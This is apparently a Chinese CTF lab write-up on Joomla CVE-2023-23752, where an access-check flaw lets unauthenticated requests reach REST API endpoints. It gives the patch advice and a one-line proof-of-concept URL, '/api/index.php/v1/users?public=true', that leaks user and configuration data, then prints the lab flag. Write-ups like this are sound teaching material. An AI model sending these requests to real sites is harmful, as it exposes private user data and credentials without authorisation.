春秋云镜 CVE-2023-23752

靶标介绍:

Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。

漏洞概要

Joomla 在海外使用较多,是一套使用 PHP 和 MySQL 开发的开源、跨平台的内容管理系统(CMS)。

Joomla 4.0.0 至 4.2.7 版本中的 ApiRouter.php#parseApiRoute 在处理用户的 Get 请求时未对请求参数有效过滤,导致攻击者可向 Joomla 服务端点发送包含 public=true 参数的请求(如:/api/index.php/v1/config/application?public=true&key=value) 进行未授权访问。

  • 修复方案:在4.2.8版本中对漏洞进行了修复,建议用户将Joomla升级至 4.2.8 及以上版本
  • 漏洞链接: https://www.oscs1024.com/hd/MPS-2023-1918
  1. 访问靶场:

  2. 构造poc 

 /api/index.php/v1/users?public=true,或者/api/index.php/v1/users?public=true&key=value都可以

得到flag:flag{5fd53640-4935-4a8d-9ce6-a182007d2c40}

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-01 18:48:01       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-01 18:48:01       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-01 18:48:01       82 阅读
  4. Python语言-面向对象

    2024-04-01 18:48:01       91 阅读

热门阅读

  1. SSH和SFTP

    2024-04-01 18:48:01       39 阅读
  2. 一些常见的Redis问题和答案

    2024-04-01 18:48:01       45 阅读
  3. 记一次有趣的区分三角形和四边形的AI试验

    2024-04-01 18:48:01       38 阅读
  4. vue v-for 同时遍历两个组数

    2024-04-01 18:48:01       37 阅读
  5. 使用C++ opencv创建小视口

    2024-04-01 18:48:01       36 阅读
  6. redis 常用命令

    2024-04-01 18:48:01       36 阅读
  7. docker run 使用 -p 命令一直显示端口被占用

    2024-04-01 18:48:01       37 阅读
  8. git 更改仓库地址

    2024-04-01 18:48:01       42 阅读
  9. 2024.2.6力扣每日一题——魔塔游戏

    2024-04-01 18:48:01       43 阅读
  10. Python 树结构库treelib使用教程

    2024-04-01 18:48:01       41 阅读
  11. npm常用命令详解

    2024-04-01 18:48:01       37 阅读
  12. 蓝桥杯备考随手记: practise03

    2024-04-01 18:48:01       38 阅读